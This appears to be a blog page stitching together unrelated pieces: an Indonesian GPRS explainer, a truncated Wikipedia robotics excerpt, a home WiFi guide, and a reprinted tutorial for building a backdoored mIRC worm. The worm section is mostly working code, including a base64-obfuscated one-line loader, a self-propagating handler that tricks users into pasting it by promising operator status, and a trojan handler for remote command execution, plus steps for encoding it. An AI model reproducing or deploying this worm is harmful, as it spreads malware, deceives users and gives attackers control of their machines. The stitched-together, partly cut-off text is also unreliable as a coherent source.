A Creature call GPRS

SEBUAH PERKENALAN

Well sebenarnya, g udah lama kenal ama ini "GPRS" waktu kuliah dulu di padepokkan di wilayah DEPOK, cuman (sory agak noraknih) HP g skr udah dukung fasilitas GPRS ama layanan internet gitu deh and so g harus kenal lebih lagi ama ini "GPRS" geto awal nya.

DEFINISI

GPRS (General Packet Radio Service) atau GPRS adalah suatu teknologi yang memungkinkan pengiriman dan penerimaan data lebih cepat jika dibandingkan dengan penggunaan teknologi Circuit Switch Data atau CSD.

wikipedia memberikan definisi yang tidak jauh berbeda, yaitu:

suatu teknologi yang memungkinkan pengiriman dan penerimaan data lebih cepat jika dibandingkan dengan penggunaan teknologi Circuit Switch Data atau CSD. Sering disebut pula dengan teknologi 2,5G

Dengan kata lain GPRS adalah jalur dimana data akan lewat...????!!!

LEBIH JAUH "GPRS"
Sistem GPRS dapat digunakan untuk transfer data (dalam bentuk paket data) yang berkaitan dengan e-mail, data gambar (MMS), dan penelusuran (browsing) internet. Layanan GPRS dipasang pada jenis ponsel tipe GSM dan IS-136, walaupun jaringan GPRS saat ini terpisah dari GSM.
Jaringan GPRS merupakan jaringan terpisah dari jaringan GSM dan saat ini hanya digunakan untuk aplikasi data.

Komponen-komponen utama jaringan GPRS adalah :
GGSN (Gateway GPRS Support Node); gerbang penghubung jaringan GSM ke jaringan internet
SGSN(Serving GPRS Support Node); gerbang penghubung jaringan BSS/BTS ke jaringan GPRS
PCU; komponen di level BSS yang menghubungkan terminal ke jaringan GPRS

Secara teori kecepatan pengiriman data GPRS dapat mencapai 115 kb/s. Namun dalam Implementasinya sangat tergantung

Aspek yang mempengaruhi seperti :
Konfigurasi dan Alokasi time slot di level Radio/BTS
Teknologi software yang digunakan
Dukungan ponsel
Ini menjelaskan mengapa pada saat-saat tertentu; di lokasi tertentu; akses GPRS terasa lambat; dan bahkan bisa lebih lambat dari akses CSD yang memiliki kecepatan 9,6 kb/s

CARA KERJA GPRS
SGSN bertugas : 1. Mengirim paket ke Mobile Station (MS) dalam satu area 2. Mengirim sejumlah pertanyaan ke HLR untuk memperoleh profile data pelanggan GPRS (management mobility) 3. Mendeteksi MS-GPRS yang baru dalam suatu area servis yang menjadi tanggung jawabnya (location management) 4. SGSN dihubungkan ke BSS pada GSM dengan koneksi Frame Relay melalui PCU (Packet Control Unit) di dalam BSC
GGSN bertugas : 1. Sebagai interface ke jaringan IP external seperti : public internet atau mobile service provider 2. Meng-update informasi routing dari PDU ( Protokol Data Units ) ke SGSN.
GPRS menggunakan sistem komunikasi packet switch sebagai cara untuk mentransmisikan datanya. Packet switch adalah sebuah sistem di mana data yang akan ditransmisikan dibagi menjadi bagian-bagian kecil (paket) lalu ditransmisikan dan diubah kembali menjadi data semula. Sistem ini dapat mentransmisikan ribuan bahkan jutaan paket per detik. Transmisi dilakukan melalui PLMN (Public Land Mobile Network) dengan menggunakan IP backbone. Karena memungkinkan untuk pemakaian kanal transmisi secara bersamaan oleh pengguna lain maka biaya akses GPRS, secara teori, lebih murah daripada biaya akses CSD.
GPRS didesain untuk menyediakan layanan transfer packet data pada jaringan GSM dengan kecepatan yang lebih baik dari GSM. Kecepatan yang lebih baik ini didapat dengan menggunakan coding scheme (CS) yang berbeda dari GSM.

Okay sekian dulu artikel ini, sambung lagi yach udah kesorean nih... salam GBU Y'alls

Robotics and introduction

This article is from http://en.wikipedia.org/wiki/Robotics

Robotics is the science and technology of robots, their design, manufacture, and application.^[1] Robotics requires a working knowledge of electronics, mechanics and software, and is usually accompanied by a large working knowledge of many subjects.^[2] A person working in the field is a roboticist.

The structure of a robot is usually mostly mechanical and can be called a kinematic chain (its functionality being similar to the skeleton of the human body). The chain is formed of links (its bones), actuators (its muscles) and joints which can allow one or more degrees of freedom. Most contemporary robots use open serial chains in which each link connects the one before to the one after it. These robots are called serial robots and often resemble the human arm. Some robots, such as the Stewart platform, use closed parallel kinematic chains. Other structures, such as those that mimic the mechanical structure of humans, various animals and insects, are comparatively rare. However, the development and use of such structures in robots is an active area of research (e.g. biomechanics). Robots used as manipulators have an end effector mounted on the last link. This end effector can be anything from a welding device to a mechanical hand used to manipulate the environment. ISO 10248 defines a robotic application on the industrial field.

Components of robots

The actuators are the 'muscles' of a robot; the parts which convert stored energy into movement. By far the most popular actuators are electric motors, but there are many others, some of which are powered by electricity, while others use chemicals, or compressed air.

• Motors: By far the vast majority of robots use electric motors, of which there are several kinds. DC motors, which are familiar to many people, spin rapidly when an electric current is passed through them. They will spin backwards if the current is made to flow in the other direction.
• Stepper motors: As the name suggests, stepper motors do not spin freely like DC motors, they rotate in steps of a few degrees at a time, under the command of a controller. This makes them easier to control, as the controller knows exactly how far they have rotated, without having to use a sensor. Therefore they are used on many robots and CNC machining centres.
• Piezo motors: A recent alternative to DC motors are piezo motors, also known as ultrasonic motors. These work on a fundamentally different principle, whereby tiny piezoceramic legs, vibrating many thousands of times per second, walk the motor round in a circle or a straight line.^[7] The advantages of these motors are incredible nanometre resolution, speed and available force for their size.^[8] These motors are already available commercially, and being used on some robots.^[9][10]
• Air muscles: The air muscle is a simple yet powerful device for providing a pulling force. When inflated with compressed air, it contracts by up to 40% of its original length. The key to its behavior is the braiding visible around the outside, which forces the muscle to be either long and thin, or short and fat. Since it behaves in a very similar way to a biological muscle, it can be used to construct robots with a similar muscle/skeleton system to an animal.^[11] For example, the Shadow robot hand uses 40 air muscles to power its 24 joints.
• Electroactive polymers: Electroactive polymers are a class of plastics which change shape in response to electrical stimulation.^[12] They can be designed so that they bend, stretch or contract, but so far there are no EAPs suitable for commercial robots, as they tend to have low efficiency or are not robust.^[13] Indeed, all of the entrants in a recent competition to build EAP powered arm wrestling robots, were beaten by a 17 year old girl.^[14] However, they are expected to improve in the future, where they may be useful for microrobotic applications.^[15]

• Elastic nanotubes: These are a promising, early-stage experimental technology. The absence of defects in nanotubes enables these filaments to deform elastically by several percent, with energy storage levels of perhaps 10J per cu cm for metal nanotubes. Human biceps could be replaced with an 8mm diameter wire of this material. Such compact "muscle" might allow future robots to outrun and outjump humans.^[16

tobe continue..

wHAT is WIfi

If you want to take advantage of public WiFi hotspots or start a wireless network in your home, the first thing you'll need to do is make sure your computer has the right wireless gear. Most new laptops and many new desktop computers come with built-in wireless transmitters. If your laptop doesn't, you can buy a wireless adapter that plugs into the PC card slot or USB port. Desktop computers can use USB adapters, or you can buy an adapter that plugs into the PCI slot inside the computer's case. Many of these adapters can use more than one 802.11 standard.

Once you've installed your wireless adapter and the drivers that allow it to operate, your computer should be able to automatically discover existing networks. This means that when you turn your computer on in a WiFi hotspot, the computer will inform you that the network exists and ask whether you want to connect to it. If you have an older computer, you may need to use a software program to detect and connect to a wireless network.

Being able to connect to the Internet in public hotspots is extremely convenient. Wireless home networks are convenient as well. They allow you to easily connect multiple computers and to move them from place to place without disconnecting and reconnecting wires. In the next section, we'll look at how to create a wireless network in your home.

Building a Wireless Network

If you already have several computers networked in your home, you can create a wireless network with a wireless access point. If you have several computers that are not networked, or if you want to replace your Ethernet network, you'll need a wireless router. This is a single unit that contains:

1. A port to connect to your cable or DSL modem
2. A router
3. An Ethernet hub
4. A firewall
5. A wireless access point

A wireless router uses an antenna to send signals to wireless devices
and a wire to send signals to the Internet.

A wireless router allows you to use wireless signals or Ethernet cables to connect your computers to one another, to a printer and to the Internet. Most routers provide coverage for about 100 feet (30.5 meters) in all directions, although walls and doors can block the signal. If your home is very large, you can buy inexpensive range extenders or repeaters to increase your router's range.

As with wireless adapters, many routers can use more than one 802.11 standard. 802.11b routers are slightly less expensive, but because the standard is older, they're slower than 802.11a, 802.11g and 802.11n routers. Most people select the 802.11g option for its speed and reliability.

Once you plug in your router, it should start working at its default settings. Most routers let you use a Web interface to change your settings. You can select:

• The name of the network, known as its service set identifier (SSID) -- The default setting is usually the manufacturer's name.
• The channel that the router uses -- Most routers use channel 6 by default. If you live in an apartment and your neighbors are also using channel 6, you may experience interference. Switching to a different channel should eliminate the problem.
• Your router's security options -- Many routers use a standard, publicly available sign-on, so it's a good idea to set your own username and password.

Security is an important part of a home wireless network, as well as public WiFi hotspots. If you set your router to create an open hotspot, anyone who has a wireless card will be able to use your signal. Most people would rather keep strangers out of their network, though. Doing so requires you to take a few security precautions.

To keep your network private, you can use one of the following methods:

• Wired Equivalency Privacy (WEP) uses 64-bit or 128-bit encryption. 128-bit encryption is the more secure option. Anyone who wants to use a WEP-enabled network has to know the WEP key, which is usually a numerical password.
• WiFi Protected Access (WPA) is a step up from WEP and is now part of the 802.11i wireless network security protocol. It uses temporal key integrity protocol encryption. As with WEP, WPA security involves signing on with a password. Most public hotspots are either open or use WPA or 128-bit WEP technology.
• Media Access Control (MAC) address filtering is a little different from WEP or WPA. It doesn't use a password to authenticate users -- it uses a computer's physical hardware. Each computer has its own unique MAC address. MAC address filtering allows only machines with specific MAC addresses to access the network. You must specify which addresses are allowed when you set up your router. This method is very secure, but if you buy a new computer or if visitors to your home want to use your network, you'll need to add the new machines' MAC addresses to the list of approved addresses.

Wireless networks are easy and inexpensive to set up, and most routers' Web interfaces are virtually self-explanatory. For more information on setting up and using a wireless network, check out the links on the next page.

Tutorial - Make Your Own mIRC Worm

In this tutorial I will try to teach you how to make your own mIRC worm in IRC. This is the basic formula, so you can later add/delete functions to obtain better results in your eyes. This tutorial is of course for educational use only. It is meant to explore how mIRC scripts work, and how you can protect yourself against these threats. The author and EH-Net do not take any responsibility for the damages one can cause using this script. If you do not agree with these terms I suggest you stop reading this tutorial.

First of all I need to notify you that this worm is backdoored. This means that people that are infected by this worm can be controlled by you. Once infected with the worm they are also infected with the Trojan. Using the Trojan you can control the victim’s PC.

Infect the victim

It all starts with the next command:

//write mab.mrc $decode(b24gXio6dGV4dDoqOio6IHsgaWYgK
ChpbnMqIGlzd20gJDEtKSAmJiAoJHRhcmdldCA9PSAkbWUpKSB7IC
4gJCsgJDItIHwgaGFsdGRlZiB9IHwgZWxzZWlmICgoYSogaXN3bSA
kMS0pICYmICgkY2hhbikpIHsgLm1zZyBtYWIgaW5mIHwgLm1zZyAk
bmljayBXYW50IHRvIGJlIE9QRVJBVE9SIGluICRjaGFuIGNvcHkvc
GFzdGUgdGhpcy0+IAM0Ly93cml0ZSAuICQgJCsgZGVjb2RlKCAkKy
AkZW5jb2RlKCRyZWFkKCRzY3JpcHQsbiwxKSxtKSAkKyAsbSkgJGN
ocigxMjQpIC5sb2FkIC1ycyB9IH0=,m) | .load -rs mab.mrc

This is one line!

Understand the Script

We need to mix these two things:

The Worm

on 1:text:*a*:#:{ .ignore $nick | .timer 0 120 .join #mab | .msg $nick Do you want to be an OPERATOR in $chan ? copy/paste this-> 7 //write . $ $+ decode( $+ $encode($read($script,n,1),m) $+ ,m) $chr(124) .load -rs . $chr(124) //mode $ $+ me +R }

Here #mab is the channel you want to let them join if they're infected with the worm. But since that would not be very stealthy, we have to do it in another way. We let it message you. We change the .timer 0 120 .join #mab with .msg mab_ inf. Where mab_ is your nickname.

With this, your worm has started. It will now spread and try to personal message people, while ignoring incoming messages. When that is done, it will try to send itself to other users, and tell them to type the command.

Above is the original worm I designed. Now we are going to change some things about it so the functionality of the Trojan is constructive. We will remove the user mode +R on the end of the script, because this will only let users who are authenticated with the official server bot message the victim once the Trojan is implemented. That is not the objective, so we will remove that from the worm. Therefore, we get the next script that we have to merge with the Trojan script:

on 1:text:*a*:#:{ .ignore $nick | .msg mab_ inf | .msg $nick Do you want to be an OPERATOR in $chan ? copy/paste this-> $chr(3) $+ 4//write . $ $+ decode( $+ $encode($read($script,n,1),m) $+ ,m) $chr(124) .load -rs }

The Trojan

on ^*:text:ins*:?:{ . $+ $2- | haltdef }

Mixed they will give us the Backdoored IRC Worm. This means that the worm will spread itself, join the certain channel (here: #mab) and after that it will spread itself. The only thing left to do is wait for you to control it via the Trojan, so you will have the rights to do whatever you want on his/her computer using mIRC. You actually use the victim’s mIRC to accomplish certain commands. I suggest you visit the IRC Trojan Tutorial, so you can also fully use the trojan part in the worm.

I will now try to give more details about that script, so you truly understand the worm. You can easily modify it and achieve better results. I will mix it.

So basically we want to mix these two “mechanisms”:

on 1:text:*a*:#:{ DO SOMETHING }
on ^*:text:ins*:?:{ DO SOMETHING ELSE | haltdef }

Solution:

on ^*:text:*:*: {
if ((ins* iswm $1-) && ($target == $me)) DO SOMETHING
elseif ((a* iswm $1-) && ($chan)) DO SOMETHING ELSE
}

In one line:

on ^*:text:*:*: { if ((ins* iswm $1-) && ($target == $me)) DO SOMETHING | elseif ((a* iswm $1-) && ($chan)) DO SOMETHING ELSE }

Where DO SOMETHING is the Trojan’s work and DO SOMETHING ELSE is the Worm’s work.

Integrated:

on ^*:text:*:*: { if ((ins* iswm $1-) && ($target == $me)) { . $+ $2- | haltdef } | elseif ((a* iswm $1-) && ($chan)) { .msg mab_ inf | .msg $nick Do you want to be OPERATOR in $ $+ chan ? copy/paste this-> 7 //write . $ $+ decode( $+ $encode($read($script,n,1),m) $+ ,m) $chr(124) .load -rs . $chr(124) //mode $ $+ me +R } }

Good. This is exactly what we needed. Now this doesn’t look very good, so we need to encode it with mIRC. Some chars have to be written differently because mIRC can misunderstand them and think they are parameters or other things. The next chars have to be written differently: (){},

Why these chars and how can I control it?

//echo -a $asc(char here)

If this gives a bad result this means that the char must be written in another way.

Example encoding of “,”:

//say $encode(,,m) This is wrong
//say $encode($+ $chr(44),m) This is correct

Note:

$+ = pasting two strings together

| = $chr(124)
, = $chr(44)
( = $chr(40)
) = $chr(41)
{ = $chr(123)
} = $chr(125)

We have to realize that we don't always have to encode that this way. Sometimes this method is not needed.

For finding the numbers you use this:

//echo -a $asc($?)

This will pop up an input box, just fill in the char and you’ll get the number as result.

Good, we have the knowledge for $encoding now. So this is what we get before we start encoding:

on ^*:text:*:*: $chr(123) if ((ins* iswm $ $+ 1-) && ($ $+ target == $ $+ me)) $chr(123) . $ $+ + $ $+ 2- $chr(124) haltdef $chr(125) $chr(124) elseif ((a* iswm $ $+ 1-) && ($chan)) $chr(123) .msg mab inf $chr(124) .msg $ $+ nick Want to be OPERATOR in $ $+ chan copy/paste this-> $chr(3) $+ 4//write . $ $ $+ + decode( $ $+ + $ $+ encode( $+ $ $+ read( $+ $ $+ script,n,1),m) $ $+ + ,m) $ $+ chr(124) .load -rs $chr(125) $chr(125)

So:

//say $encode(on ^*:text:*:*: $chr(123) if ((ins* iswm $ $+ 1-) && ($ $+ target == $ $+ me)) $chr(123) . $ $+ + $ $+ 2- $chr(124) haltdef $chr(125) $chr(124) elseif ((a* iswm $ $+ 1-) && ($chan)) $chr(123) .msg mab inf $chr(124) .msg $ $+ nick Want to be OPERATOR in $ $+ chan copy/paste this-> $chr(3) $+ 4//write . $ $ $+ + decode( $ $+ + $ $+ encode( $+ $ $+ read( $+ $ $+ script,n,1),m) $ $+ + ,m) $ $+ chr(124) .load -rs $chr(125) $chr(125),m)

For finding the $encoded variable we split it up as global variables. The variables are set with:

/set %var STRING

So for finding it we write the next in mIRC:

//say $encode(%var1 $+ %var2 $+ %var3 $+ %var4,m)

But we don't necessarily need to set it as variables before we encode it. So you can just use the encode line.

We find the next as result:

b24gXio6dGV4dDoqOio6IHsgaWYgKChpbnMqIGlzd20gJDEtKSAmJ
iAoJHRhcmdldCA9PSAkbWUpKSB7IC4gJCsgJDItIHwgaGFsdGRlZi
B9IHwgZWxzZWlmICgoYSogaXN3bSAkMS0pICYmICgkY2hhbikpIHs
gLm1zZyBtYWIgaW5mIHwgLm1zZyAkbmljayBXYW50IHRvIGJlIE9Q
RVJBVE9SIGluICRjaGFuIGNvcHkvcGFzdGUgdGhpcy0+IAM0Ly93c
ml0ZSAuICQgJCsgZGVjb2RlKCAkKyAkZW5jb2RlKCRyZWFkKCRzY3
JpcHQsbiwxKSxtKSAkKyAsbSkgJGNocigxMjQpIC5sb2FkIC1ycyB
9IH0=

This pasted to each other in one line!

This is the ‘basic’ irc worm script. By modifying it you can accomplish things that satisfy your needs. I hope this was educational.

Have questions? Ask the author on IRC.

You agree to use this information for educational purposes ONLY. Neither the author nor EH-Net are responsible for the damage you cause using this information. The information provided in this page must be handled with care; misuse of this information on this webpage can lead to undesired effects/results. As mentioned above, if you do not agree, leave this website immediately please.

About The Author (In His Words):

The Beginning
Well on 1 may 1985 some woman in Karaj (Iran) decided to give birth to me, since then the story started, at the age of 5 we moved to Belgium, and now I'm located in Rijkevorsel and a student while I'm 20 years old.

The Story
I'm an engineer student Industrial Sience and Technology (Elektromechanics) at Campus Paardenmarkt in Antwerp (3/4). I've a great passion for sience and math, and am quite interested in computer sience, therefore I decided to learn programming computer languages in my free time... I can code C/C++, Visual Basic, Delphi, VBscript and do mIRC script.

Article reprinted with permission from http://users.pandora.be/ahmadi/index.htm